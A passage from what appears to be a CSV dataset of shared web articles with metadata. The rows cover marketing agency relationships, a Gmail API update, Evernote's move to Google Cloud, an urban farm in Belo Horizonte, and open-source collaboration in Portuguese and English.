termo amplamente empregado em termos de conclusão de compras. Contudo, uma conversão é o mesmo que uma conclusão. Trata-se de uma ação esperada do usuário. Assim sendo, é também a forma com que ele realiza e emprega suas tarefas, sejam elas uma compra, um clique, um cadastro ou uma pesquisa. Vamos focar em ""low hanging fruits"" ou ""quick wins"", que podem ser aplicados para a maioria dos e-business. Quando estamos iniciando o processo de otimização do site, portal e ou aplicativo, algumas definições serão decisivas para o sucesso da empreitada. I. Defina bem quem será o responsável do projeto, geralmente essa missão fica com a equipe de marketing - com TI suportando no quesito tecnologia II. Dê autonomia à pessoa ou à equipe em relação a estratégias e execuções de evolução do produto III. A visão para o projeto deve vir ao encontro das estratégias da companhia para o negócio IV. Crie uma cultura de CRO dentro da empresa. Isso proporciona maturidade na tomada de decisões e evita gastos arriscados e muitas vezes desnecessários V. O ponto mais importante de todos: teste absolutamente tudo. Se você não está testando, você está chutando. E atualmente não podemos arriscar, cada visitante conta. Em resumo: CRO é o caminho mais seguro e barato para manter o crescimento sem aumento de investimento, porque ele olha para dentro, para o cliente que já existe. Investir em inovação, criatividade e audacidade compensa, mas isso tudo precisa ser feito sobre a base correta: dados, dados e mais dados. Esse é o caminho.",pt
1486517733,CONTENT SHARED,-746073086109727488,2416280733544962613,1407505551635142588,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SC,US,HTML,http://www.mckinsey.com/business-functions/marketing-and-sales/our-insights/how-to-get-the-most-from-your-agency-relationships-in-2017,How to get the most from your agency relationships in 2017,"Executives who know how to set up and manage agency relationships are best positioned to improve their marketing ROI. As January draws to a close, many of our New Year's resolutions have already faded. But as marketers look for new ways to drive growth in 2017, they should take fresh stock of their agency relationships. Stay current on your favorite topics Subscribe Marketer-agency relationships are more important than ever. While the shift to digital channels and technologies has created the opportunity to personalize communications with the ""always-on consumer,"" it has also made it harder to stand out. This has led to a complex and ever-expanding ecosystem of creative, media, analytics, social, and other agencies that can access specialized expertise. Managing a broader set of agency relationships, however, comes with its own significant challenges. Not only is the digital landscape more fluid, but matching the right content to the right channel demands different ways of working with and across agencies and new ways of measuring performance. Questions around media transparency, viewability, ad blocking, and even fraud have also sown confusion. Here are five questions to help keep your agency relationships on the right footing. 1. Do you have a clear view of the platforms you will need for future success, and are you clear on the implications for marketing mix? Marketing leaders have lots of places to direct their spend-the key is knowing how to measure which will be most rewarding. Although Facebook and Google account for roughly 73 percent of total digital ad revenue today, they are complex ecosystems that require active management. In addition, the media landscape is changing. Amazon, for instance, is no longer just a sales channel. It's also functioning in some ways as a search engine. Last year, 55 percent of consumers began a product search at Amazon. For this reason, marketing leaders need to ask if their agencies have the experience to navigate emerging channels and if they're adding capabilities and planning for growth based on where the market is moving. A number of companies are addressing this by conducting joint exercises with their agencies to test different digital media and social platforms to tease out which next-generation platforms are likely to yield the best results. These exercises helped one company rebalance its spend from a 70+ percent concentration in TV and traditional channels to a 50+ percent concentration in digital. It also helped distribute digital spend more strategically from a few popular sites to nearly 20 websites, networks, and programmatic platforms. 2. Are you building an agency ecosystem and agile operating model that will cover this new mix without overlaps, redundancies, or gaps? Marketing leaders spend much of their time managing a bewildering array of agencies, but they often shortchange the assessment of whether they have the right resources for the right kind of work or the bandwidth and capability to orchestrate their agency ecosystem as a whole. We've seen companies sign agencies without first clarifying roles and responsibilities among new and existing partners. That won't work in today's complex media environment. The agency management plan must define clear swim lanes that outline what each agency is expected to do, how they are expected to work together, and how they should coordinate with in-house teams (exhibit). That definition of roles should extend to thinking through which capabilities are best left to your agencies and which can be better developed internally. Many companies are developing their own newsroom-style approaches to generate content quickly, and building programmatic trading desks. Many are also engaging with their agency holding companies in unique ways, requesting, for instance, that agencies carve out dedicated teams-or agencies within agencies-to optimize spend and customize their resourcing, particularly on the nonworking side. In addition, we see a number of companies collaborating with their agencies on agile working methods including co-location and multichannel content. Many of our clients now ask their agencies to shoot all formats for their commercial, Instagram, Snapchat, and YouTube channels in one day, which shaves cost and production time and allows these companies to negotiate the rights for everything in one fell swoop. Workflow practices from traditional media to content development are all evolving to support this more integrated approach. 3. Are you measuring and incentivizing your agencies on the metrics that matter most to you? The old ways of commission-based compensation don't align with today's needs. Marketing leaders need to ensure that each agency has incentives to improve results for your brand. Many of our clients now bring agencies in for integrated ideation sessions and expect them to work together as a team. They're also evaluating and paying agencies not just on their ability to increase awareness, clickthroughs, and site traffic within specific verticals, but also on their contribution to sales growth across the business overall. Some are even requiring agencies to review each other as part of a 360-degree evaluation. The CMO of a large CPG company, for example, asks agencies to rate each other based on how well they ""play on the team . . ."" This feedback has a direct impact on each agency's performance pay. 4. Are you getting the transparency you need and the oversight you want? As you negotiate with your agencies, transparency on costs needs to be at the forefront. If the agency has negotiated certain rates on different media placements, for example, you need to be sure you're getting the rates and views you've been promised. Agencies should be helping you track working and nonworking spend and be open to coordinating with the relevant individuals on your team or third-party auditors. Discussions on Digital: Measuring marketing's impact Read the article Companies need to go beyond top-level reporting and get a detailed understanding of what they have purchased and the value their media spend is generating. That applies to media and agency contracts, rates per role, and incentive structures. Many companies ask their agencies to report on their hours and burn rates to monitor spend against plan and make it easier to ""follow the money,"" especially in digital-media purchases. It's also important to know how intermediaries are being used-and at what cost-so that the maximum amount of digital spend goes toward working media. And if you don't feel you're getting the transparency and cooperation you need, make sure you've woven the right to audit actual media costs into your contract so you can track and reconcile your media investments at any time. In some cases, running the program directly may improve speed, quality, and overall performance if one has the capabilities required to do so. To get that granular transparency and foster more active engagement, most high-performing companies have hired full-time media leaders whose job is to track, understand, and optimize spend as well as coordinate with agencies on marketing mix modeling (MMM), attribution, and their implications. When companies maintain rigorous oversight over the noncompliant parts of their buys, they extract better program performance and more effective CPMs. Doing so forces agencies to pay more attention to those factors and allows companies to become more educated about where they can push their agencies for improved results. 5. And finally, are you doing everything you can to be a great client, providing the leadership and the flexibility needed for success? Building effective agency relationships is a two-way street. Part of being a great client is having a very clear internal operating model to avoid rework and to ensure that different parts of the business aren't asking agencies for the same thing. In addition to setting clear objectives, you also need to establish a regular and ongoing dialogue with your agencies that goes beyond quarterly business reviews. A frequent cadence allows you and your agencies to be proactive and to test, refine, and optimize performance on a continual basis. Being a great client also means giving partners the breathing room to do their best work. While quick turns are sometimes essential, to produce high-caliber work on a consistent basis, agencies need time and space to be creative. In addition, while the competitive drumbeat can make accessing the most sophisticated, bleeding-edge developments a necessity, those advances only work if your organization has the skills and resources to take advantage of them. Take the time to consider whether you're sufficiently resourced to get the most from your agency services and if you've dedicated the right internal resources to partner with them in strategy formation, creative development, and managing and reporting on spend and outcomes. Stay current on your favorite topics Subscribe Agencies are crucial partners in driving growth and navigating a complex and still-expanding array of technologies, channels, and platforms. Clear answers to these five questions will help you build stronger and more effective relationships with your agencies this year and into the future. About the author(s) Thomas Bauer is a partner in McKinsey's Munich office, Jason Heller is a digital partner in the New York office, Jeff Jacobs is a partner in the Chicago office, and Rachael Schaffner is a senior knowledge expert in the Washington, DC, office.",en
1486520637,CONTENT SHARED,4607279316199873708,-1032019229384696495,3942789982417017999,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.67 Safari/537.36",NY,US,HTML,https://www.blog.google/products/g-suite/introducing-google-cloud-search-g-suite/,Introducing Google Cloud Search: Bringing the power of Google Search to G Suite customers,"Every day, people around the globe rely on the power of Google Search to access the world's information. In fact, we see more than one trillion searches each year. As we continue to invest in new cloud-based technologies like machine learning to power our web search engine, we want to help businesses harness the same technology to search for internal information. Today, we're announcing Google Cloud Search ( formerly known as Springboard ), a new product that uses machine intelligence to provide a unified search experience across G Suite. Sorting through internal information has become increasingly complex as more and more companies move their data and workloads to the cloud. As a result, teams are working on hybrid environments and storing immense amounts of data all over and in various formats. From emails and docs to spreadsheets, slides, forms, internal sites, and more. In fact, according to McKinsey , the average knowledge worker spends 20% of the workweek searching for and consolidating information. Simply put, employees are wasting a lot of time in the process of finding information they need to do their job. A smarter search experience, tailored for you Cloud Search brings the best of Google Search and machine intelligence to G Suite. It provides both comprehensive search and proactive recommendations to help you throughout your day. For example, when you open the Cloud Search app on your phone or laptop, you'll see relevant information organized into simple cards (assist cards) that help you stay on top of your work. Assist cards are a new way to help you find the right information at the right time. Using Google's machine intelligence technology, these cards can help you prepare for an upcoming meeting or even suggest files that need your attention. Assist cards are designed to be timely and relevant so that you can navigate your workday more efficiently. As we continue to learn how information is most useful to you, we'll be adding more assist cards to Cloud Search over time.",en
1486520793,CONTENT SHARED,3566197569262766169,-1032019229384696495,3942789982417017999,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.67 Safari/537.36",NY,US,HTML,https://gsuite-developers.googleblog.com/2016/07/gmail-api-new-endpoints-for-settings.html,Gmail API: New endpoints for settings,"Posted by Brandon Jewett-Hall , Software Engineer, Gmail and Wesley Chun , Developer Advocate, Google Apps If you've been pining for a way to update your users' email signatures with a different inspirational quote each day or enable ""Out of Office"" auto-replies when their calendars are marked as busy, then you're in luck. Today, we're extending the Gmail API with new endpoints for managing settings. These new endpoints cover the following features: Filters Forwarding addresses and auto-forwarding IMAP and POP settings Send-as aliases Signatures Vacation responder With this update, we're equipping developers with some new tools that have never been available in any previous Google API. These include the ability to: Retrieve and update signatures for send-as aliases Configure forwarding to external addresses Configure send-as aliases that send mail through external providers Use HTML in vacation messages Manipulate settings for gmail.com accounts Over time we'll continue to expand the API with additional settings features such as support for managing mailbox delegates, so stay tuned for more announcements. Get started now Most of the settings endpoints are available for any Google Apps or Gmail account, but a few sensitive operations, such as modifying send-as aliases or forwarding, are restricted to service accounts with domain-wide authority . See the reference docs for more details and to get started. What about the existing Email Settings API in the Admin SDK? This update to the Gmail API effectively replaces the older Email Settings API , so we're also announcing its deprecation today and will turn it down fully on July 7, 2017 . We've put together a migration guide to assist clients in porting their existing integrations over to their newer counterparts in the Gmail API. If you have any issues, check out the gmail-api tag on StackOverflow. We look forward to seeing what you build with these new features in the Gmail API!",en
1486553183,CONTENT SHARED,4876769046116846438,9109075639526981934,1133978080643679329,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,http://ciclovivo.com.br/noticia/shopping-em-bh-tera-fazenda-urbana-de-2-700-m%C2%B2/,Shopping em BH terá fazenda urbana de 2.700 m²,"O projeto apoiado no conceito 'farm to table' tem previsão de inaugurar em março. 1 de fevereiro de 2017 * Atualizado às 15 : 08 Além da estufa, o espaço contemplará uma loja para a venda dos produtos cultivados e um restaurante. | Foto: Divulgação Em uma parceria inédita entre o Boulevard Shopping e a Startup BeGreen, a capital mineira receberá sua primeira Fazenda Urbana - um espaço no próprio Boulevard para a produção de hortaliças sem agrotóxicos (orgânica) com um sistema inovador de cultivo em consórcio com a criação de peixes. Só existem oito unidades deste tipo no mundo. O novo projeto, que tem previsão de inaugurar na segunda quinzena de março, funcionará na área externa do shopping e trará todo um conceito alicerçado na sustentabilidade. No espaço haverá utilização de composto proveniente do lixo orgânico da Praça de Alimentação do Boulevard como substrato para o crescimento das verduras; e redução de consumo de água com captação da chuva. Além disso, não haverá emissão de CO², pois além da autossuficiência elétrica do projeto, o consumidor final irá adquirir os produtos da fazenda in loco, sem serviços de logísticas e entrega. A Fazenda Urbana sediada no Boulevard irá ocupar uma área de 2.700 m², com uma estufa de 1.500 m² e capacidade para produzir até 50 mil pés de alfaces baby e ervas por mês. Além da estufa, o espaço contemplará a loja Casa Horta, para a venda dos produtos cultivados e de produtores locais; A Casa Amora, restaurante conceito 'farm to table' (da fazenda para a mesa) com pratos que utilizem as hortaliças e legumes orgânicos e da produção local; e um espaço de convivência com mesas, deck e palco para realizações de eventos relacionados à vida mais saudável e à conscientização da nova agricultura. A Fazenda Urbana BeGreen Boulevard O projeto ainda contempla várias ações integradas, como a realização de ações de conscientização de crianças e jovens de escolas públicas e privadas, e eventos e treinamentos de produção sustentável que pretendem atingir pelo menos 1 milhão de pessoas por ano. ""Os visitantes terão a oportunidade de fazer visitas guiadas, comprar os produtos cultivados na fazenda e até consumi-los na hora."", conta Paulo Ceratti, gerente de marketing do Boulevard. ""Nosso principal objetivo é demonstrar que é possível ser sustentável e produtivo gerando mais empregos, menos lixo e sem prejudicar o meio ambiente. É um projeto inovador, que segue um movimento global que aproxima a produção do consumidor final."", explica um dos idealizadores do projeto, Giuliano Bitencourt. Outros produtores locais poderão vender seus produtos agroecológicos na loja Casa Horta. ""A intenção é que aconteça um comércio justo para os produtores e clientes que procuram por alimentos saudáveis, frescos e locais."", acrescenta Paulo. A sustentabilidade também fez parte da construção do espaço. O projeto primou por utilizar o mínimo de novos produtos, tendo como norte a reutilização de materiais. Para isso, toda a obra será feita de containers que virariam sucata; as mesas e cadeiras do espaço terão como matéria prima a madeira plástica, que sofre um processo de transformação do plástico jogado fora; e todo o piso será feito com material de rejeito de mineração. Por que uma fazenda urbana? A motivação original deste projeto se deve ao fato que atualmente 80% de todo produto fresco cultivado no Brasil é desperdiçado e acaba tendo como destino o lixo. Estes são dados da FAO - Organização das Nações Unidas para Alimentação e Agricultura. Tamanho desperdício tem origem na estrutura da cadeia de suprimentos agrícolas brasileira, que faz com que os alimentos colhidos frescos só cheguem à mesa do consumidor com no mínimo dois dias de colhidos. Além disso, o excesso de transporte e baldeações entre os diversos elos da cadeia aumenta ainda mais o desperdício. Esta complexa cadeia de suprimentos além de prejudicar a qualidade do produto final, também impacta no valor total pago pelo consumidor. Um exemplo disso é a trajetória de uma alface até chegar ao prato do consumidor final. Cultivada em uma grande fazenda, a alface é colhida e armazenada de forma incorreta para então ser transportada por centenas de quilômetros em um caminhão, no qual outros pés ficam pelo caminho, até chegar a um centro de distribuição (CEASA). Só então ela será entregue a uma feira ou supermercado e ficar à disposição do cliente final. E se a alface tivesse sido cultivada bem ao lado da casa deste consumidor? Esta é a proposta da Begreen e do Boulevard: uma fazenda bem perto do consumidor final, sem intermediários, sem transporte, com um produto retirado direto do cultivo para a mesa. A ideia de se criar este projeto surgiu quando Giuliano Bitencourt, um dos empreendedores, voltou do MIT em 2014 apaixonado pela ideia de poder cultivar dentro das grandes cidades. Para criar a BeGreen, convidou seu sócio Pedro Graziano, com uma trajetória profissional no ramo tecnológico, para se juntar ao projeto. Por meio do uso de tecnologia inovadora, a parceria entre o Boulevard e a BeGreen torna capaz de produzir de forma automatizada produtos agrícolas frescos e sem agrotóxicos. Tudo isso dentro de centros urbanos, com produtividade superior por metro quadrado, consumo reduzido de água e sem intermediários na distribuição dos alimentos. As fazendas urbanas parecem ser tendência no mundo. Recentemente, um shopping em Israel também inaugurou uma em sua cobertura ( veja aqui ) e no Brasil, o Shopping Eldorado, em São Paulo, também foi pioneiro em suas ações e abriga uma horta e um sistema de compostagem em sua cobertura desde 2012. ( veja aqui ) (25932)",pt
1486571714,CONTENT SHARED,8477804012624580461,-8606737560479590536,1088209812385750316,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://ofuturodascoisas.com/gartner-em-2020-nao-havera-mais-aplicativos/,Gartner: em 2020 não haverá mais aplicativos,"""Em 2020, as pessoas não irão usar aplicativos em seus aparelhos. Na realidade, os apps estarão esquecidos. As pessoas vão contar com os assistentes virtuais pra tudo. A era pós- app está vindo"". Essa foi a declaração de Peter Sondergaard , Vice-Presidente sênior de Pesquisa da Gartner, empresa líder de pesquisa em tecnologia de informação (TI). O trabalho da Gartner também é prever o futuro. Mas, como assim? Os aplicativos deixarão de existir? Segundo Sondergaard, os algoritmos é que farão todo o trabalho. Para ele, num futuro não muito distante, é possível que os algoritmos tomem decisões importantíssimas, ""que podem significar vida ou morte."" No Gartner Symposium/ITxpo , realizado em Outubro do ano passado, a Gartner tinha destacado 15 tendências de tecnologia que serão estratégicas em 2016 para a maioria das empresas, e tinha abordado esse assunto dos assistentes virtuais. O Futuro das Coisas criou esse post , explicando estas 15 tendências, incluindo a tendência dos assistentes virtuais como uma oportunidade das empresas aumentarem a sua produtividade ou desenvolverem novas soluções com base no aprendizado de máquina . Gartner Symposium/ITxpo, realizado em Outubro do ano passado, em Orlando (EUA). Aprendizado de máquina O aprendizado de máquina abre as portas para um mundo de máquinas inteligentes, incluindo robôs, assistentes pessoais virtuais e carros, que agem de forma autônoma. Google Now, Siri e Cortana estão ganhando inteligência e são os precursores dos assistentes virtuais que serão criados para aprender por si mesmos e que se tornarão, no futuro, a única interface com que nós usuários teremos que interagir . Os algoritmos (pelo menos hoje) são um conjunto de regras que nos ajudam a resolver um problema. A informação chega ao algoritmo e, em seguida, com base nas regras, o resultado é determinado e você tem uma resposta para orientar o que precisa ser feito. ""No futuro, os algoritmos serão capazes de ajustarem-se sozinhos, elaborando novas regras. Os algoritmos também, aparentemente, podem se multiplicar."" Peter Sondergaard , Vice-Presidente sênior de Pesquisa da Gartner Os assistentes virtuais irão criar novos assistentes e robôs irão criar novos robôs. Por isso, Sondergaard considera crucial criar algoritmos da forma certa. Aqui, no O Futuro das Coisas , já tínhamos abordado nesse post a questão da necessidade da Inteligência Artificial ser desenvolvida com o máximo de cuidado, de forma que seja empática e segura para a humanidade. Sondergaard prevê que a economia algorítmica impulsionará a próxima revolução econômica na era da máquina-máquina. As empresas serão valorizadas, não só por terem um Big Data, mas pelos algoritmos que transformam esses dados em ações que, em última análise, afetam os clientes. Não podemos subestimar a importância disso. Por exemplo, em relação aos carros autônomos. No futuro, se vários carros estiverem prestes a colidir, os algoritmos serão responsáveis pelas ações que cada carro deve tomar para proteger seus passageiros. Mas - isso pode ser assustador - e se os algoritmos concluírem que, para proteger três passageiros não há outra escolha senão colocar outro passageiro em risco? Apesar das previsões sinistras apresentadas em filmes de ficção científica sobre a inteligência artificial, Sondergaard é otimista em relação à ela. De qualquer forma, empreendedores e empresários, sabem agora que precisam evoluir para a utilização de algorítimos, de forma que possam criar soluções cada vez mais inteligentes e úteis para as pessoas. Deixe seus comentários abaixo Redação O Futuro das Coisas O Futuro das Coisas é dedicado a trazer conteúdo exclusivo em inovação, tecnologia, educação e medicina numa linguagem divertida e acessível.",pt
1486633628,CONTENT SHARED,717471739656838182,-534549863526737439,-1260011569184852879,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,http://www.pcworld.com/article/3167594/cloud-computing/heres-how-evernote-moved-3-petabytes-of-data-to-googles-cloud.html,Here's how Evernote moved 3 petabytes of data to Google's cloud,"Evernote decided last year that it wanted to move away from running its own data centers and start using the public cloud to operate its popular note-taking service. On Wednesday, it announced that the lion's share of the work is done, save for some last user attachments. The company signed up to work with Google, and as part of the migration process, the tech titan sent a team of engineers (in one case, bearing doughnuts) over to work with its customer on making sure the process was a success. Evernote wanted to take advantage of the cloud to help with features based on machine learning that it has been developing. It also wanted to leverage the flexibility that comes from not having to run a data center. The move is part of a broader trend of companies moving their workloads away from data centers that they own and increasingly using public cloud providers. While the transition required plenty of work and adaptation, Evernote credited Google for pitching in to help with the migration. Why move to the cloud? There was definitely plenty of work to do. Evernote's backend was built on the assumption that its application would be running on the company's twin California data centers, not in a public cloud. So why go through all the work? Many of the key drivers behind the move will be familiar to cloud devotees. Evernote employees had to spend time maintaining the company's data center, doing things like replacing hard drives, moving cables and evaluating new infrastructure options. While those functions were key to maintaining the overall health and performance of the Evernote service, they weren't providing additional value to customers, according to Ben McCormack, the company's vice president of operations. ""We were just very realistic that with a team the size of Evernote's operations team, we couldn't compete with the level of maturity that the cloud providers have got...on provisioning, on management systems, et cetera,"" McCormack said."" We were always going to be playing catch-up, and it's just a crazy situation to be in."" When Evernote employees thought about refreshing a data center, one of the key issues that they encountered is that they didn't know what they would need from a data center in five years, McCormack said. Evernote had several public cloud providers it could choose from, including Amazon Web Services and Microsoft Azure, which are both larger players in the public cloud market. But McCormack said the similarities between the company's current focus and Google's areas of expertise were important to the choice. Evernote houses a large amount of unstructured data, and the company is looking to do more with machine learning. ""You add those two together, Google is the leader in that space,"" McCormack said. ""So effectively, I would say, we were making a strategic decision and a strategic bet that the areas that are important to Evernote today, and the areas we think will be important in the future, are the same areas that Google excels in."" Machine learning was a highlight of Google's platform for Evernote CTO Anirban Kundu, who said that higher-level services offered by Google help provide the foundation for new and improved features. Evernote has been driving toward a set of new capabilities based on machine learning, and Google services like its Cloud Machine Learning API help with that. While cost is often touted as a benefit of cloud migrations, McCormack said that it wasn't a primary driver of Evernote's migration. While the company will be getting some savings out of the move, he said that cost wasn't a limitation for the transition. The decision to go with Google over another provider like AWS or Azure was driven by the technology team at Evernote, according to Greg Chiemingo, the company's senior director of communications. He said in an email that CEO Chris O'Neill, who was at Google for roughly a decade before joining Evernote, came in to help with negotiations after the decision was made. How it happened Once Evernote signed its contract with Google in October, the clock was ticking. McCormack said that the company wanted to get the migration done before the new year, when users looking to get their life on track hammer the service with a flurry of activity. Before the start of the year, Evernote needed to migrate 5 billion notes and 5 billion attachments. Because of metadata, like thumbnail images, included with those attachments, McCormack said that the company had to migrate 12 billion attachment files. Not only that, but the team couldn't lose any of the roughly 3 petabytes of data it had. Oh yeah, and the Evernote service needed to stay up the entire time. McCormack said that one of the Evernote team's initial considerations was figuring out what core parts of its application could be entirely lifted and shifted into Google's cloud, and what components would need to be modified in some way as part of the transition. Part of the transformation involved reworking the way that the Evernote service handled networking. It previously used UDP Multicast to handle part of its image recognition workflow, which worked well in the company's own data center where it could control the network routers involved. But that same technology wasn't available in Google's cloud. Kundu said Evernote had to rework its application to use a queue-based model leveraging Google's Cloud Pub/Sub service , instead. Evernote couldn't just migrate all of its user data over and then flip a switch directing traffic from its on-premises servers to Google's cloud in one fell swoop. Instead, the company had to rearchitect its backend application to handle a staged migration with some data stored in different places. The good news is that the transition didn't require changes to the client. Kundu said that was key to the success of Evernote's migration, because not all of the service's users upgrade their software in a timely manner. Evernote's engagement with Google engineers was a pleasant surprise to McCormack. The team was available 24/7 to handle Evernote's concerns remotely, and Google also sent a team of its engineers over to Evernote's facilities to help with the migration. Those Google employees were around to help troubleshoot any technical challenges Evernote was having with the move. That sort of engineer-to-engineer engagement is something Google says is a big part of its approach to service. For one particularly important part of the migration, Google's engineers came on a Sunday, bearing doughnuts for all in attendance. More than that, however, McCormack said that he was impressed with the engineers' collaborative spirit. ""We had times when...we had written code to interface with Google Cloud Storage, we had [Google] engineers who were peer-reviewing that code, giving feedback and it genuinely felt like a partnership, which you very rarely see,"" McCormack said. ""Google wanted to see us be successful, and were willing to help across the boundaries to help us get there."" In the end, it took roughly 70 days for the whole migration to take place from the signing of the contract to its final completion. The main part of the migration took place over a course of roughly 10 days in December, according to McCormack. Lessons learned If there was one thing Kundu and McCormack were crystal clear about, it's that even the best-laid plans require a team that's willing to adapt on the fly to a new environment. Evernote's migration was a process of taking certain steps, evaluating what happened, and modifying the company's approach in response to the situation they were presented with, even after doing extensive testing and simulation. Furthermore, they also pointed out that work on a migration doesn't stop once all the bytes are loaded into the cloud. Even with extensive testing, the Evernote team encountered new constraints working in Google's environment once it was being used in production and bombarded with activity from live Evernote users. For example, Google uses live migration techniques to move virtual machines from one host to another in order to apply patches and work around hardware issues. While that happens incredibly quickly, the Evernote service under full load had some problem with it, which required (and still requires) optimization. Kundu said that Evernote had tested live migration prior to making the switch over to GCP, but that wasn't enough. When an application is put into production, user behavior and load on it might be different from test conditions, Kundu said. ""And that's where you have to be ready to handle those edge cases, and you have to realize that the day the migration happens or completes is not the day that you're all done with the effort. You might see the problem in a month or whatever."" Another key lesson, in McCormack's opinion, is that the cloud is ready to handle any sort of workload. Evernote evaluated a migration roughly once every year, and it was only about 13 months ago that the company felt confident a cloud transition would be successful. ""Cloud has reached a maturity level and a breadth of features that means it's unlikely that you'll be unable to run in the cloud,"" McCormack said. That's not to say it doesn't require effort. While the cloud does provide benefits to Evernote that the company wasn't going to get from running its own data center, they still had to cede control of their environment, and be willing to lose some of the telemetry they're used to getting from a private data center. Evernote's engineers also did a lot of work on automating the transition. Moving users' attachments over from the service's on-premises infrastructure to Google Cloud Storage is handled by a pair of bespoke automated systems. The company used Puppet and Ansible for migrating the hundreds of shards holding user note data. The immediate benefits of a migration One of the key benefits of Evernote's move to Google's cloud is the company's ability to provide reduced latency and improved connection consistency to its international customers. Evernote's backend isn't running in a geographically distributed manner right now, but Google's worldwide networking investments provide an improvement right away. ""We have seen page loading times reducing quite significantly across some parts of our application,"" McCormack said. ""I wouldn't say it's everywhere yet, but we are starting to see that benefit of the Google power and the Google reach in terms of bridging traffic over their global fiber network."" Right now, the company is still in the process of migrating the last of its users' attachments to GCP. When that's done, however, the company will be able to tell its users that all the data they have in the service is encrypted at rest, thanks to the capabilities of Google's cloud. From an Evernote standpoint, the company's engineers have increased freedom to get their work done using cloud services. Rather than having to deal with provisioning physical infrastructure to power new features, developers now have a whole menu of options when it comes to using new services for developing features. ""Essentially, any GCP functionality that exists, they're allowed to access, play with - within constraints of budget, obviously - and be able to build against."" In addition, the cloud provides the company with additional flexibility and peace of mind when it comes to backups, outages and failover. What comes next? Looking further out, the company is interested in taking advantage of some of Google's existing and forthcoming services. Evernote is investigating how it can use Google Cloud Functions, which lets developers write snippets of code that then run in response to event triggers. Evernote is also alpha testing some Google Cloud Platform services that haven't been released or revealed to the public yet. Kundu wouldn't provide any details about those services. In a similar vein, Kundu wouldn't go into details about future Evernote functionality yet. However, he said that there are ""a couple"" of new features that have been enabled as a result of the migration.",en
1486645486,CONTENT SHARED,-7273935215244206740,3609194402293569455,5568476375744273657,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2017/02/09/inteligencia-artificial-do-google-aprende-aprimorar-fotos-como-nos-filmes/,Inteligência artificial do Google aprende a aprimorar fotos como nos filmes | Google Discovery,"No final de 2016, a equipe do Google Research revelou que o Google vinha trabalhando na tecnologia "" RAISR "" capaz de utilizar o aprendizado de máquina para produzir versões de alta qualidade de imagens de baixa resolução. Entre os exemplos demonstrados até aquele momento, você conseguia ver uma melhora significativa nas imagens, mas estavam longe de serem perfeitas. Até, claro, um novo e recente anúncio feito pelos cientistas do Google Brain. Dê uma olhada nos resultados: O que estamos vendo acima é absolutamente incrível! A partir de uma imagem pequena e pixelizada com apenas 64 quadros, o cérebro eletrônico do Google é capaz de aumentar a resolução e desenhar características faciais reconhecíveis como nos filmes policiais. Para conseguir chegar a este resultado, a inteligência artificial do Google Brain tenta mapear e combinar cada quadro da imagem com semelhantes imagens de alta resolução quando ampliadas. A máquina, então, adiciona detalhes realistas na versão final. Ela faz isso aprendendo o que cada pixel em uma amostra de baixa resolução geralmente corresponde em imagens de alta resolução. Por se tratar de uma imagem formada por aproximações calculadas pelo algoritmo, a tecnologia ainda não está pronta para uso da força policial. Uma versão mais branda da tecnologia já está disponível no Google+ para Android. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1486646069,CONTENT SHARED,4945121243335041737,3891637997717104548,-4584296806338847346,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://buytaert.net/sharing-innovation-with-your-competitors,Sharing innovation with your competitors - Dries Buytaert,"Some of the largest brands in the world are emerging as leading sponsors and contributors of Drupal . Pfizer, for example, has been using Drupal to improve its internal content workflow processes. Not only is Pfizer a major user of Drupal, they are also making their Drupal improvements available for everyone's benefit , including their competitors. This kind of innovation and collaboration model is relatively unheard of and is less likely to happen with proprietary software. Another great example is Boston.gov. Last year the City of Boston migrated Boston.gov to Drupal . Shortly after the launch of Boston.gov, they released Boston.gov's source code to the public domain . By open-sourcing their project, the city of Boston is challenging the prevailing model. Anyone can see the code that makes Boston.gov work, point out problems, suggest improvements, or use the code for their own city, town or organization. The City of Boston isn't the only government agency that is changing their way of innovating and collaboration. In 2012, the White House released the code behind ""We the People"" , the Drupal-based application that allows the American people to submit petitions directly to the President of the United States. By releasing the code that supports ""We the People"", any government in the world can take advantage of the project and implement it in their own community. Next, the international media group Hubert Burda Media employs a team of six Drupal developers that build and maintain Thunder , a Drupal 8 distribution that can be used by any of the 164 brands that Burda supports. Last year, Burda open-sourced Thunder , allowing competitors to benefit from Burda's development, know-how and best practices. As part of their work on Thunder, Burda is an active contributor to Drupal 8's media initiative . Burda is also inviting its competitors to contribute to Thunder. Some may wonder what is beneficial about sharing innovation with competitors. Today, technology is becoming more and more complex and the rate of change is accelerating. It is becoming increasingly difficult for any one organization to build an entire solution and do it well. By contributing back and by working together, these organizations can keep a competitive edge over those that don't use open source and collaborate. What looks strange to some, is actually perfectly logical to others. Those that contribute to open source are engaging in a virtuous cycle that benefits their own projects. It is a tide that raises all boats; a model that allows progress to accelerate due to wider exposure and public input. It's a story that is starting to play out in every industry -- from pharmaceutical companies, to media and publishing to government. Challenge the prevailing model As I wrote in my 2016 Acquia retrospective , I believe that the use of open source software has finally crossed the chasm -- most organizations don't think twice about using open source software. The next step is to encourage more organizations to not just use open source, but to contribute to it. Open source offers a completely different way of working, and fosters an innovation model that is not possible with proprietary solutions. Pfizer, Boston.gov, the White House and Burda are remarkable examples of how organizations benefit from not only using but contributing to open 